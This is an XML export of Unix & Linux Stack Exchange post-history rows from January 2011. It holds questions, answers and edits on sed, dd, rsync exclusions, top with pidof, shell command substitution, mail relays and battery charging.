  <row Id="12971" PostHistoryTypeId="2" PostId="5759" RevisionGUID="848d4664-3c2f-459c-a3b6-9ff5e9f62b0f" CreationDate="2011-01-12T22:32:52.947" UserId="3613" Text="You can do this with sed. The issue is that you need to include the string in the code twice. Once to test it, again to insert it.&#xD;&#xA;&#xD;&#xA;    sed -i '/eval \$(perl -I\$HOME\/foo\/lib\/perl5 -Mlocal::lib=\$HOME\/foo)/!{ ${ s/$/\neval \$(perl -I\$HOME\/foo\/lib\/perl5 -Mlocal::lib=\$HOME\/foo)/; }; }' /path/to/file" />
  <row Id="12972" PostHistoryTypeId="2" PostId="5760" RevisionGUID="761dc2b7-33d7-42aa-b5e6-bff093c8f398" CreationDate="2011-01-12T22:42:32.873" UserId="3613" Text="[Cinelerra][1] is the only tool I'm aware of that can do this in Linux. There is a [tutorial on just this topic][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/url?sa=t&amp;source=web&amp;cd=1&amp;ved=0CBkQFjAA&amp;url=http%3A%2F%2Fcinelerra.org%2F&amp;ei=Ti4uTce5JsL58Ab-r7SZCQ&amp;usg=AFQjCNGYmiMt6AU8KsYjOSPu4B-fu7FbXw&amp;sig2=6baBS4TaKXhbdkwY8__2kw&#xD;&#xA;  [2]: http://crazedmuleproductions.blogspot.com/2009/03/motion-stabilization-tutorial.html" />
  <row Id="12973" PostHistoryTypeId="2" PostId="5761" RevisionGUID="47e0885d-499d-4887-a583-a0e339c99721" CreationDate="2011-01-12T22:50:39.057" UserId="3613" Text="To simply see if a drive can be read, you can use [dd(1)][1]. This will read in the contents of the CDROM and will ignore/discard the data (note that the CDROM device may have another name on your system):&#xD;&#xA;&#xD;&#xA;     dd if=/dev/cdrom of=/dev/null&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It is also possible to compare this to an ISO image:&#xD;&#xA;&#xD;&#xA;    dd if=/dev/cdrom | md5sum - /path/to/file.iso&#xD;&#xA;&#xD;&#xA;This will print a checksum for the CD and for the ISO file. If the checksums match, the CD contents match the ISO image.&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/dd" />
  <row Id="12974" PostHistoryTypeId="25" PostId="5747" RevisionGUID="8052fcab-64c6-4737-8d32-7c43773e59c6" CreationDate="2011-01-12T22:55:30.890" Comment="http://twitter.com/#!/StackUnix/status/25325023803744256" />
  <row Id="12975" PostHistoryTypeId="2" PostId="5762" RevisionGUID="6db9e2fc-ceef-461a-b691-f42c62721f62" CreationDate="2011-01-12T23:07:36.837" UserId="1535" Text="I'm running on UPS power and would like to prevent the laptop's battery from charging, to increase the amount of power available to other devices.  Is there a way to do this?" />
  <row Id="12976" PostHistoryTypeId="1" PostId="5762" RevisionGUID="6db9e2fc-ceef-461a-b691-f42c62721f62" CreationDate="2011-01-12T23:07:36.837" UserId="1535" Text="Preventing battery from charging" />
  <row Id="12977" PostHistoryTypeId="3" PostId="5762" RevisionGUID="6db9e2fc-ceef-461a-b691-f42c62721f62" CreationDate="2011-01-12T23:07:36.837" UserId="1535" Text="épowerömanagementà" />
  <row Id="12978" PostHistoryTypeId="2" PostId="5763" RevisionGUID="8cde98a8-70b6-46f8-a859-e0af92de978c" CreationDate="2011-01-12T23:22:41.297" UserId="305" Text="There may be. Some 'proprietary' extensions which allow to operate on battery.  For example [tp-smapi patchset][1] allows to set the maximum charging threshold for thinkpads. Setting it to 0 would prevent it from charging.&#xD;&#xA;&#xD;&#xA;Some laptops may not have that possibility in BIOS so you need to post details about hardware to receive any details.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.thinkwiki.org/wiki/Tp_smapi" />
  <row Id="12979" PostHistoryTypeId="2" PostId="5764" RevisionGUID="16d95085-06f2-45f3-9da4-201a8233ad56" CreationDate="2011-01-12T23:25:46.443" UserId="3616" Text="What about **[Archlinux][1]**? &#xD;&#xA;&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;It's slogan is: &quot;**A simple, lightweight distribution**&quot;. Many may object but in my opinion the installation of Arch is very simple and basic (don't forget about the great and rich documentation available on wiki: https://wiki.archlinux.org/). I can install the whole system in less then half an hour and have a complete and featurefull working environment having a complete control over my system! With no versions problems (it is a rolling release distro) and with `pacman` -- a fantastic package manager that magically manages all the dependencies and other installation tasks in a simple and transparent way, archlinux is definitely worth a try!&#xD;&#xA;&#xD;&#xA;If you want a clean and simple linux distribution which follows all the modern requirements archlinux is for you.&#xD;&#xA;&#xD;&#xA;_Post-scriptum_: In case of any questions about arch you can directly contact me -- rizo(dot)isrof(at)gmai(dot)com ;)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.archlinux.org/&#xD;&#xA;  [2]: http://i.imgur.com/qsJlX.png" />
  <row Id="12980" PostHistoryTypeId="12" PostId="5764" RevisionGUID="a9cde42d-9a74-41a7-b7bd-699bd62c4adf" CreationDate="2011-01-12T23:26:08.767" UserId="3616" Text="[{&quot;Id&quot;:3616,&quot;DisplayName&quot;:&quot;Rizo&quot;}]" />
  <row Id="12981" PostHistoryTypeId="5" PostId="5764" RevisionGUID="6f520ffe-f8ec-4b2d-97a4-e511b0d435f8" CreationDate="2011-01-12T23:32:21.290" UserId="3616" Comment="deleted 46 characters in body" Text="You should definitely give a second try to **Archlinux**...&#xD;&#xA;&#xD;&#xA;It's slogan is: &quot;*A simple, lightweight distribution*&quot;. You may object but in my opinion the installation of Arch is very simple and basic (just don't forget about the great and rich documentation available on wiki: https://wiki.archlinux.org/). I can install the whole system in less then half an hour and end with a flexible and featurefull working environment having a complete control over my system! With no versions problems (it is a rolling release distro) and with `pacman` -- a fantastic package manager that magically manages all the dependencies and other installation tasks in a simple and transparent way, archlinux is definitely worth a try!&#xD;&#xA;&#xD;&#xA;If you want a clean, efficient and simple linux distribution which follows all the modern requirements archlinux is for you!&#xD;&#xA;&#xD;&#xA;_Post-scriptum_: In case of any questions about arch you can directly contact me -- rizo[dot]isrof[at]gmai[dot]com ;)" />
  <row Id="12982" PostHistoryTypeId="13" PostId="5764" RevisionGUID="4ee4d817-315d-40b7-bc36-04af6cca68a1" CreationDate="2011-01-12T23:39:24.607" UserId="3616" Text="[{&quot;Id&quot;:3616,&quot;DisplayName&quot;:&quot;Rizo&quot;}]" />
  <row Id="12983" PostHistoryTypeId="5" PostId="5762" RevisionGUID="e6f8189a-6f76-4b4d-adcb-d203a2e42749" CreationDate="2011-01-12T23:44:53.107" UserId="1535" Comment="add machine model name" Text="I'm running on UPS power and would like to prevent the laptop's battery from charging, to increase the amount of power available to other devices.  Is there a way to do this?&#xD;&#xA;&#xD;&#xA;*update*: The machine is a Dell Latitude D400.  More on that in a moment..." />
  <row Id="12984" PostHistoryTypeId="2" PostId="5765" RevisionGUID="e9b2cae2-bd3d-4f7d-b56d-0ca209b7fbf8" CreationDate="2011-01-13T00:06:17.073" UserId="3454" Text="The world has moved on. Autotools and distro packagers reconcile differences in libraries and interfaces and adjust as necessary." />
  <row Id="12988" PostHistoryTypeId="5" PostId="5747" RevisionGUID="c32049a2-fa3b-41a4-9563-d969182cbaed" CreationDate="2011-01-13T00:48:37.883" UserId="305" Comment="added 13 characters in body" Text="I understend that `Σ(%CPU) ≤ logicalcores*(1+ε)` (where ε is measure and rounding error) but how can I have on 2 core system 2 different processes each taking 200% of CPU (as measured by htop)?&#xD;&#xA;&#xD;&#xA;**EDIT** Cores in above equation means logical cores i.e. taking into account all hyperthreading,  number of CPUs etc.&#xD;&#xA;" />
  <row Id="12993" PostHistoryTypeId="25" PostId="5762" RevisionGUID="7a32db9c-2c1a-4ff5-9896-bca08cc10342" CreationDate="2011-01-13T01:55:31.557" Comment="http://twitter.com/#!/StackUnix/status/25370325566881792" />
  <row Id="12994" PostHistoryTypeId="5" PostId="5732" RevisionGUID="0c0a0cd6-fe05-4e3e-a412-0a08fbb88307" CreationDate="2011-01-13T03:13:29.197" UserId="3466" Comment="Removed bit about installing from local v. remote media, tried it and the problem still occurs" Text="I'm trying to create a para-virt Fedora 14 xen vm on a host running CentOS 5.5. The VM appears to initially install correctly (the installer finds eth0 and can access the installation media). But when I restart the VM after the installation is completed the VM no longer sees any network, only lo. The VM does have one network connection according to virt-manager. &#xD;&#xA;&#xD;&#xA;The host is running CentOS 5.5 64bit - completely up-to-date&#xD;&#xA;The VM I am tring to install is F14 64bit (installing only the minimal group)" />
  <row Id="12995" PostHistoryTypeId="5" PostId="3258" RevisionGUID="ac26644b-886b-4ce4-9d89-772b1ffc9f6f" CreationDate="2011-01-13T03:23:50.353" UserId="73" Comment="added 580 characters in body" Text="&lt;p&gt;&#xA;    Unix and Linux - Stack Exchange is for &lt;span class=&quot;revision-comment&quot;&gt;users of Linux, FreeBSD and other Un*x-like operating systems.&lt;/span&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;a name=&quot;ontopic&quot;&gt;&lt;/a&gt;&#xA;If your question is about:&#xA;&#xA;* Using or administering a *nix desktop or server&#xA;* The Unix foundation underlying MacOS (but generally *not* frontend application questions)&#xA;* The underlying *nix OS on an embedded system or handheld device (e.g. an Android phone)&#xA;* Shell scripting&#xA;* Applications packaged in *nix distributions *(note: being cross-platform does not disqualify)*&#xA;&#xA;then you're in the right place. Note that **Ubuntu posts are a special case**. If your post applies to Ubuntu only, or you're looking for answers that are Ubuntu-specific, you should post it on the [Ask Ubuntu](http://askubuntu.com/) StackExchange site. If your question applies to other distros or you welcome more generic solutions, you're in the right place here.&#xA;&#xA;Cross-posting is [strongly discouraged](http://meta.stackoverflow.com/questions/71938/can-i-cross-post-my-question-from-one-site-to-another/71949#71949) -- if you post on one site and then change your mind it can always be migrated to another. If you're not sure if your question is on-topic, [ask on meta](http://meta.unix.stackexchange.com/questions/ask) or just [give it a try](http://unix.stackexchange.com/questions/ask) and the community will decide..." />
  <row Id="12996" PostHistoryTypeId="2" PostId="5768" RevisionGUID="22ab2399-90f3-4f4b-82dc-a52e76ec003f" CreationDate="2011-01-13T03:25:02.457" UserId="3621" Text="It's there because it's a guarantee made by Unix: every directory contains two entries, `.` which refers to itself, and `..` which refers to the parent.&#xD;&#xA;&#xD;&#xA;The root directory of the current namespace is special, in that `..` points to the same thing as `.`, but not so special to break the guarantee made by the OS to programs.  When those contracts are broken, things go wrong and everyone points fingers.&#xD;&#xA;&#xD;&#xA;The root directory that you see might, in the filesystem on disk, actually have a different parent directory.  The view of the filesystems provided in the mounted namespace is what enforces the `.. = .` rule for `/`.  So if you're in a `chroot()` jail, you will see `/.. = /` even though someone outside the jail looking at `/path/to/jail/..` will see `/path/to` instead." />
  <row Id="12997" PostHistoryTypeId="2" PostId="5769" RevisionGUID="0e87b73c-e69d-4a27-a831-63dd36bfc8f0" CreationDate="2011-01-13T03:36:11.220" UserId="3194" Text="You could use [MacPorts][1]: `sudo port install proctools`&#xD;&#xA;&#xD;&#xA;Here's the result of `port search pgrep`:&#xD;&#xA;&#xD;&#xA;    proctools @0.4pre1 (sysutils)&#xD;&#xA;        pgrep, pkill and pfind for OpenBSD and Darwin (Mac OS X)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.macports.org/" />
  <row Id="12999" PostHistoryTypeId="5" PostId="3258" RevisionGUID="439aad70-b926-4e78-8463-22ac9a5571a2" CreationDate="2011-01-13T03:38:25.077" UserId="73" Comment="added 1 characters in body" Text="&lt;p&gt;&#xA;    Unix and Linux - Stack Exchange is for &lt;span class=&quot;revision-comment&quot;&gt;users of Linux, FreeBSD and other Un*x-like operating systems.&lt;/span&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;a name=&quot;ontopic&quot;&gt;&lt;/a&gt;&#xA;If your question is about:&#xA;&#xA;* Using or administering a *nix desktop or server&#xA;* The Unix foundation underlying MacOS (but generally *not* frontend application questions)&#xA;* The underlying *nix OS on an embedded system or handheld device (e.g. an Android phone)&#xA;* Shell scripting&#xA;* Applications packaged in *nix distributions *(note: being cross-platform does not disqualify)*&#xA;&#xA;then you're in the right place. Note that **Ubuntu posts are a special case**. If your post applies to Ubuntu only, or you're looking for answers that are Ubuntu-specific, you should post it on the [Ask Ubuntu](http://askubuntu.com/) Stack Exchange site. If your question applies to other distros or you welcome more generic solutions, you're in the right place here.&#xA;&#xA;Cross-posting is [strongly discouraged](http://meta.stackoverflow.com/questions/71938/can-i-cross-post-my-question-from-one-site-to-another/71949#71949) -- if you post on one site and then change your mind it can always be migrated to another. If you're not sure if your question is on-topic, [ask on meta](http://meta.unix.stackexchange.com/questions/ask) or just [give it a try](http://unix.stackexchange.com/questions/ask) and the community will decide..." />
  <row Id="13000" PostHistoryTypeId="5" PostId="3258" RevisionGUID="e18ef0b8-7698-4b9a-a1e5-da4fbe33d4bb" CreationDate="2011-01-13T04:34:21.217" UserId="73" Comment="added 2 characters in body" Text="&lt;p&gt;&#xA;    Unix and Linux - Stack Exchange is for &lt;span class=&quot;revision-comment&quot;&gt;users of Linux, FreeBSD and other Un*x-like operating systems.&lt;/span&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;a name=&quot;ontopic&quot;&gt;&lt;/a&gt;&#xA;If your question is about:&#xA;&#xA;* Using or administering a *nix desktop or server&#xA;* The Unix foundation underlying MacOS (but generally *not* frontend application questions)&#xA;* The underlying *nix OS on an embedded system or handheld device (e.g. an Android phone)&#xA;* Shell scripting&#xA;* Applications packaged in *nix distributions *(note: being cross-platform does not disqualify)*&#xA;&#xA;then you're in the right place. Note that **Ubuntu posts are a special case**. If your question applies to Ubuntu only, or you're looking for answers that are Ubuntu-specific, you should post it on the [Ask Ubuntu](http://askubuntu.com/) Stack Exchange site. If your question applies to other distros or you welcome more generic solutions, you're in the right place here.&#xA;&#xA;Cross-posting is [strongly discouraged](http://meta.stackoverflow.com/questions/71938/can-i-cross-post-my-question-from-one-site-to-another/71949#71949) -- if you post on one site and then change your mind it can always be migrated to another. If you're not sure if your question is on-topic, [ask on meta](http://meta.unix.stackexchange.com/questions/ask) or just [give it a try](http://unix.stackexchange.com/questions/ask) and the community will decide." />
  <row Id="13001" PostHistoryTypeId="25" PostId="5733" RevisionGUID="f6a408a0-6e25-4225-88fc-9dd7c6a5ebb9" CreationDate="2011-01-13T04:55:31.910" Comment="http://twitter.com/#!/StackUnix/status/25415624368852992" />
  <row Id="13002" PostHistoryTypeId="2" PostId="5771" RevisionGUID="e4767f0d-7c8a-47c7-83ee-f55d82178cb5" CreationDate="2011-01-13T06:44:21.430" UserId="2881" Text="I am looking for a minimal mail solution (MTA) for a headless server which generate e-mails for local users and and fully qualified addresses from cron-jobs, etc.&#xD;&#xA;Ideally all mails to local user `foo` should be mapped to `foo@mydomain`, with possible modifications for `uid`&lt;1024, and sent off to an external smtp server without involving `/var/mail`.&#xD;&#xA;&#xD;&#xA;Some years ago, I used [sSMTP][1] for a similar task, and I was wondering if this is still the way ahead? Also, how much of the default debian mail system should/could I remove?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/8/ssmtp" />
  <row Id="13003" PostHistoryTypeId="1" PostId="5771" RevisionGUID="e4767f0d-7c8a-47c7-83ee-f55d82178cb5" CreationDate="2011-01-13T06:44:21.430" UserId="2881" Text="Simplest way of forwarding all mail from server?" />
  <row Id="13004" PostHistoryTypeId="3" PostId="5771" RevisionGUID="e4767f0d-7c8a-47c7-83ee-f55d82178cb5" CreationDate="2011-01-13T06:44:21.430" UserId="2881" Text="édebianàémailà" />
  <row Id="13005" PostHistoryTypeId="25" PostId="5771" RevisionGUID="6b9140a8-9438-470a-9fd3-1e4445690d3d" CreationDate="2011-01-13T07:55:31.730" Comment="http://twitter.com/#!/StackUnix/status/25460922428424193" />
  <row Id="13006" PostHistoryTypeId="2" PostId="5772" RevisionGUID="f3eee838-27f2-4c3b-95cd-3c68e2f6e1b1" CreationDate="2011-01-13T08:06:11.857" UserId="2327" Text="My default answer to such questions would be `sar` ([System Activity Reporter](http://linux.die.net/man/1/sar)) from the [sysstat](http://sebastien.godard.pagesperso-orange.fr/) package.&#xD;&#xA;&#xD;&#xA;But as far as I know, `sar` doesn't collect an equivalent to the output of `ps`. So perhaps the combination of `sar` and elmarcos answer (regularly capture the output of `ps`) would help." />
  <row Id="13007" PostHistoryTypeId="2" PostId="5773" RevisionGUID="778bf116-f3dd-4017-8f00-cfbac964e91f" CreationDate="2011-01-13T08:20:32.923" UserId="885" Text="[Nullmailer](http://untroubled.org/nullmailer/) might fit the bill:&#xD;&#xA;&#xD;&#xA;&gt; Nullmailer is a mail transport agent designed to only relay all its&#xD;&#xA;messages through a fixed set of &quot;upstream&quot; hosts.&#xD;&#xA;&#xD;&#xA;If you just install the Debian package, it will replace whatever MTA was there before.&#xD;&#xA;" />
  <row Id="13008" PostHistoryTypeId="2" PostId="5774" RevisionGUID="a1d68b41-82fa-4295-9f01-debba96a780c" CreationDate="2011-01-13T08:57:41.767" UserId="2375" Text="G'Day,&#xD;&#xA;&#xD;&#xA;I am using rsync to recursively sync a remote folder tree that looks something like the following:&#xD;&#xA;&#xD;&#xA;    /folderA/a1/cache&#xD;&#xA;    /folderA/a1/cache/A1&#xD;&#xA;    /folderA/a1/cache/A2&#xD;&#xA;    /folderA/a1/somefolder&#xD;&#xA;    /folderA/a1/someotherfolder&#xD;&#xA;    /folderA/a2/somefolder/cache&#xD;&#xA;    /folderB/cache/&#xD;&#xA;    /folderB/b1/somefolder/cache&#xD;&#xA;    /folderB/b1/somefolder/yetanotherfolder/cache&#xD;&#xA;    /folderB/b1/somefolder/yetanotherfolder/cache/B1&#xD;&#xA;    /folderB/b1/somefolder/yetanotherfolder/cache/B2&#xD;&#xA;&#xD;&#xA;I don't know what the folder tree will look like and it will change over time. So what I want to be able to do is recursively rsync the above but *exclude* the folder &quot;cache&quot; and any sub folders it contains so that I ultimately end up syncing:&#xD;&#xA;&#xD;&#xA;    /folderA/a1&#xD;&#xA;    /folderA/a1/somefolder&#xD;&#xA;    /folderA/a1/someotherfolder&#xD;&#xA;    /folderA/a2/somefolder&#xD;&#xA;    /folderB/&#xD;&#xA;    /folderB/b1/somefolder&#xD;&#xA;    /folderB/b1/somefolder/yetanotherfolder/&#xD;&#xA;    /folderB/b1/somefolder/yetanotherfolder/&#xD;&#xA;    /folderB/b1/somefolder/yetanotherfolder/&#xD;&#xA;&#xD;&#xA;Any suggestions?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13009" PostHistoryTypeId="1" PostId="5774" RevisionGUID="a1d68b41-82fa-4295-9f01-debba96a780c" CreationDate="2011-01-13T08:57:41.767" UserId="2375" Text="RSync - Excluding a particular subdirectory and  its children where the subdirectory exists at different levels..." />
  <row Id="13010" PostHistoryTypeId="3" PostId="5774" RevisionGUID="a1d68b41-82fa-4295-9f01-debba96a780c" CreationDate="2011-01-13T08:57:41.767" UserId="2375" Text="érsyncà" />
  <row Id="13011" PostHistoryTypeId="2" PostId="5775" RevisionGUID="5c776b26-6c61-436e-a333-40f83c5cd92e" CreationDate="2011-01-13T09:25:07.967" UserId="3629" Text="You want the `--exclude` flag.  For example, a local rsync:&#xD;&#xA;&#xD;&#xA;    rsync -a --exclude cache/ a/ b/&#xD;&#xA;&#xD;&#xA;It really is that simple -- that exclude rule will match a directory named &quot;cache&quot; anywhere in your tree.&#xD;&#xA;&#xD;&#xA;For more information, look for &quot;--exclude&quot; and the &quot;FILTER RULES&quot; section on the rsync man page:&#xD;&#xA;&#xD;&#xA;http://www.samba.org/ftp/rsync/rsync.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13012" PostHistoryTypeId="5" PostId="5774" RevisionGUID="02c5de15-2702-4877-b263-ed7753ab05b8" CreationDate="2011-01-13T09:36:46.040" UserId="2375" Comment="deleted 92 characters in body" Text="G'Day,&#xD;&#xA;&#xD;&#xA;I am using rsync to recursively sync a remote folder tree that looks something like the following:&#xD;&#xA;&#xD;&#xA;    /folderA/a1/cache&#xD;&#xA;    /folderA/a1/cache/A1&#xD;&#xA;    /folderA/a1/cache/A2&#xD;&#xA;    /folderA/a1/somefolder&#xD;&#xA;    /folderA/a1/someotherfolder&#xD;&#xA;    /folderA/a2/somefolder/cache&#xD;&#xA;    /folderB/cache/&#xD;&#xA;    /folderB/b1/somefolder/cache&#xD;&#xA;    /folderB/b1/somefolder/yetanotherfolder/cache&#xD;&#xA;    /folderB/b1/somefolder/yetanotherfolder/cache/B1&#xD;&#xA;    /folderB/b1/somefolder/yetanotherfolder/cache/B2&#xD;&#xA;&#xD;&#xA;I don't know what the folder tree will look like and it will change over time. So what I want to be able to do is recursively rsync the above but *exclude* the folder &quot;cache&quot; and any sub folders it contains so that I ultimately end up syncing:&#xD;&#xA;&#xD;&#xA;    /folderA/a1&#xD;&#xA;    /folderA/a1/somefolder&#xD;&#xA;    /folderA/a1/someotherfolder&#xD;&#xA;    /folderA/a2/somefolder&#xD;&#xA;    /folderB/&#xD;&#xA;    /folderB/b1/somefolder&#xD;&#xA;    /folderB/b1/somefolder/yetanotherfolder/&#xD;&#xA;&#xD;&#xA;Any suggestions?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13013" PostHistoryTypeId="2" PostId="5776" RevisionGUID="0242278c-da23-495a-aa99-b132ef74048c" CreationDate="2011-01-13T10:53:14.990" UserId="688" Text="In case of one program having multiple instances, running `pidof program` gives:&#xD;&#xA;&#xD;&#xA;    `1 2 3`&#xD;&#xA;&#xD;&#xA;`top -p` accepts comma-delimited arguments: `1, 2, 3`.&#xD;&#xA;&#xD;&#xA;This means that ``top -p `pidof program` `` won't work:&#xD;&#xA;&#xD;&#xA;    	top: unknown argument '1'&#xD;&#xA;    usage:	top -hv | -bcisSH -d delay -n iterations [-u user | -U user] -p pid [,pid ...]&#xD;&#xA;&#xD;&#xA; Can you show me how to do this. I'm not familiar with awk, sed, etc..." />
  <row Id="13014" PostHistoryTypeId="1" PostId="5776" RevisionGUID="0242278c-da23-495a-aa99-b132ef74048c" CreationDate="2011-01-13T10:53:14.990" UserId="688" Text="How to select specific processes with 'top'?" />
  <row Id="13015" PostHistoryTypeId="3" PostId="5776" RevisionGUID="0242278c-da23-495a-aa99-b132ef74048c" CreationDate="2011-01-13T10:53:14.990" UserId="688" Text="étopàépidà" />
  <row Id="13016" PostHistoryTypeId="25" PostId="5774" RevisionGUID="1d35a59c-4adc-430d-afad-90eacaa952c5" CreationDate="2011-01-13T10:55:31.820" Comment="http://twitter.com/#!/StackUnix/status/25506221725323264" />
  <row Id="13017" PostHistoryTypeId="2" PostId="5777" RevisionGUID="f2fb2879-9f07-4d5f-becf-047fbfd1c583" CreationDate="2011-01-13T10:57:30.863" UserId="3069" Text="`sed` replaces your ` ` with `, `:&#xD;&#xA;&#xD;&#xA;    top -p $(pidof program | sed 's/ /, /g')" />
  <row Id="13018" PostHistoryTypeId="2" PostId="5778" RevisionGUID="51878038-3777-45e1-b414-d9efc9024c0e" CreationDate="2011-01-13T11:02:56.007" UserId="688" Text="Running `top -p $(pidof init)` and ``top -p `pidof init` `` gives the same output. Are these two ways of doing one thing, or are there differences?" />
  <row Id="13019" PostHistoryTypeId="1" PostId="5778" RevisionGUID="51878038-3777-45e1-b414-d9efc9024c0e" CreationDate="2011-01-13T11:02:56.007" UserId="688" Text="What's the diff between $(stuff) and `stuff`?" />
  <row Id="13020" PostHistoryTypeId="3" PostId="5778" RevisionGUID="51878038-3777-45e1-b414-d9efc9024c0e" CreationDate="2011-01-13T11:02:56.007" UserId="688" Text="éshà" />
  <row Id="13021" PostHistoryTypeId="2" PostId="5779" RevisionGUID="80786e19-0954-4af4-adcd-978ff43c49b0" CreationDate="2011-01-13T11:03:54.170" UserId="3023" Text="I have a linux web &amp; samba server. I need to give administrators access to manage minor accounts &amp; groups. Is there a secure php web interface that can do this? I don't want to give them shell access, but they need to be able to change passwords, create, &amp; manage accounts\groups. Thanks!" />
  <row Id="13022" PostHistoryTypeId="1" PostId="5779" RevisionGUID="80786e19-0954-4af4-adcd-978ff43c49b0" CreationDate="2011-01-13T11:03:54.170" UserId="3023" Text="PHP interface to manage linux user accounts" />
  <row Id="13023" PostHistoryTypeId="3" PostId="5779" RevisionGUID="80786e19-0954-4af4-adcd-978ff43c49b0" CreationDate="2011-01-13T11:03:54.170" UserId="3023" Text="éusersàéserveràéphpà" />
  <row Id="13024" PostHistoryTypeId="2" PostId="5780" RevisionGUID="fc2135c0-4187-4d1f-85ae-680f1dae1053" CreationDate="2011-01-13T11:05:15.903" UserId="2832" Text="I have some command which produces output with no new line at the end,&#xD;&#xA;like this&#xD;&#xA;&#xD;&#xA;    Myprompt$ somecmd&#xD;&#xA;    dksfjdl&#xD;&#xA;    dsfjdlkfj&#xD;&#xA;    dsfjdkfj&#xD;&#xA;    dfjdkfjMyprompt$&#xD;&#xA;&#xD;&#xA;Currently I overcome this by `somecmd | sed 's/$/\n/' | tr -s '\n'`&#xD;&#xA;Is there a better way to do this?" />
  <row Id="13025" PostHistoryTypeId="1" PostId="5780" RevisionGUID="fc2135c0-4187-4d1f-85ae-680f1dae1053" CreationDate="2011-01-13T11:05:15.903" UserId="2832" Text="Adding an empty line at the end of input" />
  <row Id="13026" PostHistoryTypeId="3" PostId="5780" RevisionGUID="fc2135c0-4187-4d1f-85ae-680f1dae1053" CreationDate="2011-01-13T11:05:15.903" UserId="2832" Text="écommandölineàébashà" />
  <row Id="13027" PostHistoryTypeId="4" PostId="5778" RevisionGUID="33e56318-deff-4b83-9c77-a87cd5edf13c" CreationDate="2011-01-13T11:08:07.060" UserId="688" Comment="edited title" Text="What's the difference between $(stuff) and `stuff`?" />
  <row Id="13028" PostHistoryTypeId="5" PostId="5510" RevisionGUID="2780a33e-e9cc-483f-b73c-b31a1984e72b" CreationDate="2011-01-13T11:10:13.633" UserId="863" Comment="edited body" Text="I have two keyboards, mice and monitors and a ATI Radeon HD 4290 onboard a ASUS M4A89GTD PRO/USB3 mainboard. Can you recommend a distribution or livecd that supports the GPU and offers easy means to setup a dual-head multiseat system where both sessions have direct rendering enabled? (32 or 64 doesn't matter here, although 64 bit are preferred)" />
  <row Id="13029" PostHistoryTypeId="2" PostId="5781" RevisionGUID="00883eaa-6a1c-48c8-a478-5efe3e182f11" CreationDate="2011-01-13T11:17:14.290" UserId="2832" Text="Obvious difference I observe is that you cannot nest backticks while you can nest $() .&#xD;&#xA;May be both exists for legacy reasons. &#xD;&#xA;Similarly the . command and source commands are synonyms." />
  <row Id="13030" PostHistoryTypeId="2" PostId="5782" RevisionGUID="64731fa8-75c7-40b4-bcc4-cf3a73d4e56c" CreationDate="2011-01-13T11:30:36.907" UserId="3069" Text="The old-style backquotes \` \` do treat backslashes and nesting a bit different. The new-style `$()` interprets everything inside the brackets as a command.&#xD;&#xA;&#xD;&#xA;    echo $(uname | $(echo cat))&#xD;&#xA;    Linux&#xD;&#xA;&#xD;&#xA;    echo `uname | `echo cat``&#xD;&#xA;    bash: command substitution: line 2: syntax error: unexpected end of file&#xD;&#xA;    echo cat&#xD;&#xA;&#xD;&#xA;works if the nested backquotes are escaped:&#xD;&#xA;&#xD;&#xA;    echo `uname | \`echo cat\``&#xD;&#xA;    Linux&#xD;&#xA;&#xD;&#xA;backslash fun:&#xD;&#xA;&#xD;&#xA;    echo $(echo '\\')&#xD;&#xA;    \\&#xD;&#xA;&#xD;&#xA;    echo `echo '\\'`&#xD;&#xA;    \&#xD;&#xA;" />
  <row Id="13031" PostHistoryTypeId="5" PostId="5782" RevisionGUID="bb436dc4-9241-44f7-a2e0-b359ccca9c16" CreationDate="2011-01-13T11:50:18.037" UserId="3069" Comment="added 404 characters in body" Text="The old-style backquotes `` ` ` `` do treat backslashes and nesting a bit different. The new-style `$()` interprets everything inside the brackets as a command.&#xD;&#xA;&#xD;&#xA;    echo $(uname | $(echo cat))&#xD;&#xA;    Linux&#xD;&#xA;&#xD;&#xA;    echo `uname | `echo cat``&#xD;&#xA;    bash: command substitution: line 2: syntax error: unexpected end of file&#xD;&#xA;    echo cat&#xD;&#xA;&#xD;&#xA;works if the nested backquotes are escaped:&#xD;&#xA;&#xD;&#xA;    echo `uname | \`echo cat\``&#xD;&#xA;    Linux&#xD;&#xA;&#xD;&#xA;backslash fun:&#xD;&#xA;&#xD;&#xA;    echo $(echo '\\')&#xD;&#xA;    \\&#xD;&#xA;&#xD;&#xA;    echo `echo '\\'`&#xD;&#xA;    \&#xD;&#xA;&#xD;&#xA;Apart from the technical point of view, the old-style `` ` ` `` has also a visual disadvantage:&#xD;&#xA;&#xD;&#xA; - Hard to notice: ``i like $(program) better than `program` ``&#xD;&#xA; - Easily confused with a single quote: ``'`'`''`''`'`''`'``&#xD;&#xA; - Not so easy to type (maybe not even on the standard layout of the keyboard)&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&lt;sub&gt;(and SE uses `` ` ` `` for own purpose, it was a pain writing this answer :)&lt;/sub&gt;" />
  <row Id="13032" PostHistoryTypeId="2" PostId="5783" RevisionGUID="927fb627-c78e-4f2f-bb06-fb4d3146c273" CreationDate="2011-01-13T12:04:52.857" UserId="688" Text="I want to monitor memory usage of a process, and I want this data to be logged. Short of writing my own code, does such a tool exist?" />
  <row Id="13033" PostHistoryTypeId="1" PostId="5783" RevisionGUID="927fb627-c78e-4f2f-bb06-fb4d3146c273" CreationDate="2011-01-13T12:04:52.857" UserId="688" Text="Is there a tool that allows logging of memory usage?" />
  <row Id="13034" PostHistoryTypeId="3" PostId="5783" RevisionGUID="927fb627-c78e-4f2f-bb06-fb4d3146c273" CreationDate="2011-01-13T12:04:52.857" UserId="688" Text="émemoryàémonitoringà" />
